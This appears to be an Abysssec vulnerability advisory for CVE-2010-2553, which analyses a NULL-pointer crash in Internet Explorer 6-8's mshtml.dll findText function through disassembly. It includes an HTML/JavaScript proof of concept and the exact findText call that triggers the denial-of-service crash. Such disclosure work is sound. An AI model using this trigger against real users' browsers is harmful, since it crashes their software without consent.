Abysssec Research

1) Advisory information

Title	**: Microsoft Internet Explorer MSHTML Findtext processing issue**
Analysis	**: http://www.abysssec.com**
Vendor	**: http://www.microsoft.com**
Impact	**: Medium**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**
CVE	**: CVE-2010-2553**

2) Vulnerable version

Internet explorer 6
Internet explorer 7
Internet explorer 8

3) Vulnerability information

Class

1- Processing Issue

Impact

Successfully exploiting this issue allows remote attackers to cause denial-of-service conditions.

Remotely Exploitable

Yes

Locally Exploitable

Yes

4) Vulnerabilities detail

mshtml.dll is one of the module that is used in processing html tags which exist in sysyem32 directory. Vulnerability exists in Findtext function related to TextRange object.

TextRange object show a text in html element. This object has some functions, one of them is FindText. This function searches a string in an exact range in the document and if the intended string is found returns true.

Here is the definition of the function:

bFound = object.findText(sText [, iSearchScope] [, iFlags])

The first necessary argument is the string to search. The second optional argument specify range and direction of search which can be a positive (forward search) and negative(backward search) number. The third optional argument represent type of search.

Here is a simple example of using this function:

```
<html>
<body>
<input type="button" value="Crachme!" onclick="Search()"/>
<input  type="text" value="Abysssec" id="Abysssec"></textarea>

<script type="text/javascript">
function Search()
{
var textinput  = document.getElementById("abysssec");

var textRange = textinput.createTextRange();
textRange.findText(unescape("%u41"),1);
textRange.select(document.getElementById('d'));
document.body.appendChild(textinput);
}
</script>
<p id="p">Abysssec</p>

</body>
</html>
</p>

</body>
</html>
```

CAutoRange::findText function in mshtml.dll module is responsible for processing findtext function of TextRange object. In body of this function, FindTextW of CMarkupPointe interface is called. And in CMarkupPointer__FindTextW function, CTxtPtr__FindTextW is also called.

TxtPtr__FindTextW takes four arguments. The first argument is a value that can be variable based on search range argument. For example, if the search range argument is equal to a negative number, the value of this argument is different in case of a positive search range argument.

The second specify search type flag. Third argument is a pointer to the buffer containing our intended string to search. Fourth argument is size of the string.

In part of the function, fourth argument is compared if less or equal to zero or not:

```
.text:77721879            mov     eax, [ebp+Size]
.text:7772187C            mov     ecx, edi
.text:7772187E            lea     edi, [ecx+eax*2-2]
.text:77721882
.text:77721882 loc_77721882:                      ; CODE XREF: CTxtPtr::FindTextW(long,ulong,ushort const *,long)+D3j
.text:77721882            and     [ebp+var_C0], ebx     ;       ebx = 0
.text:77721888            cmp     [ebp+Size], ebx
.text:7772188B            jle     loc_77721935
.text:77721891 loc_77721891:                      ; CODE XREF: CTxtPtr::FindTextW(long,ulong,ushort const
*,long)+18Bj
```

If size is greater than zero, two other values are compared. The result of logical 'and' of second argument with 0x20000 is compared if zero or not and then checking the first two bytes of intended string if less than 0xff.

```
.text:77721891            test    esi, esi
.text:77721893            jnz     short loc_777218A0
.text:77721895            cmp     word ptr [edi], 0FFh
.text:7772189A            jnb     loc_7772195F
```

If the above conditions are not happened CTxtPtr__FindComplexHelper function is called:

```
.text:7772195F                            ; CTxtPtr::FindTextW(long,ulong,ushort const *,long)+2CCj
.text:7772195F            push    [ebp+Size]     ; Size
.text:77721962            mov     ecx, [ebp+var_C8]
.text:77721968            push    [ebp+cchCount1] ; cchCount1
.text:7772196E            push    [ebp+arg_4]     ; int
.text:77721971            push    [ebp+arg_0]     ; int
.text:77721974            call    ?FindComplexHelper@CTxtPtr@@QAEJJKPBGJ@Z ;
CTxtPtr::FindComplexHelper(long,ulong,ushort const *,long)
```

CTxtPtr__FindComplexHelper function takes the same arguments of CTxtPtr__FindComplexHelper. In part of the CTxtPtr__FindComplexHelper function, CMarkup::TreePosAtCp function is called.

```
.text:777211CA          mov     eax, [ebx]
.text:777211CC          mov     eax, [eax+10h]
.text:777211CF          mov     ecx, [ebx+10h]
.text:777211D2          mov     [ebp+var_C], eax
.text:777211D5          push    0
.text:777211D7          lea     eax, [ebp+var_40]
.text:777211DA          push    eax
.text:777211DB          push    dword ptr [ebx+0Ch]
.text:777211DE          call    ?TreePosAtCp@CMarkup@@QBEPAVCTreePos@@JPAJH@Z ;
CMarkup::TreePosAtCp(long,long *,int)
```

Output of this function is a structure which based on type of search and negative or positive search have different values. Some of the fields of this function contain some addresses which are used in next functions.

Here is the flaw because in case of calling findtext of TextRange object with special arguments, the output structure of CMarkup::TreePosAtCp function hav invalid (0x00000000) address.

If first argument of findtext argument contains a character of Unicode which is greater than or equal to 0xff and second argument is a negative number, then the returned structure of CMarkup::TreePosAtCp function have invalid(0x00000000) address.

```
textRange.findText(unescape("%u4141"),-1);
```

In such case, CTreePos::NextTreePos function is called which extract this 0x0000000 address from the structure and return it. And this returned value is used by CTreePos__GetC function.

```
.text:7772132A          cmp     esi, eax
.text:7772132C          jz      loc_77721213
.text:77721332          mov     ecx, esi
.text:77721334          call    ?PreviousTreePos@CTreePos@@QAEPAV1@XZ ; CTreePos::PreviousTreePos(void)
.text:77721339          mov     edi, eax
.text:7772133B          test    edi, edi
.text:7772133D          jz      short loc_77721356
.text:7772133F          test    byte ptr [esi], 3
.text:77721342          jz      short loc_77721350
.text:77721344          push    0
```

```
.text:77721346            push    esi
.text:77721347            call    ?ClassifyNodePos@@YG?AW4NODE_CLASS@@PAVCTreePos@@PAH@Z ;
ClassifyNodePos(CTreePos *,int *)
.text:7772134C            test    eax, eax
.text:7772134E            jnz     short loc_77721356
.text:77721350

.text:77721350            mov     esi, edi
.text:77721352            xor     eax, eax
.text:77721354            jmp     short loc_7772132A
.text:77721356 ; ---------------------------------------------------------------------------
.text:77721356

.text:77721356            mov     ecx, esi
.text:77721358            call    ?NextTreePos@CTreePos@@QAEPAV1@XZ ; CTreePos::NextTreePos(void)
.text:7772135D            mov     ecx, eax
.text:7772135F            call    ?GetCp@CTreePos@@QAEJXZ ; CTreePos::GetCp(void)
```

In CTreePos__GetC function some values from the returned address of CTreePos::NextTreePos is called and because it is zero it cause an access violation excepton.

```
.text:77538081            mov     edi, edi
.text:77538083            push    ebp
.text:77538084            mov     ebp, esp
.text:77538086            push    ecx
.text:77538087            push    esi
.text:77538088            push    edi
.text:77538089            mov     edi, ecx
.text:7753808B            mov     edx, [edi]
.text:7753808D            mov     esi, [edi+4]
```

Please note that: this issue was founded in wild before us but still not patched.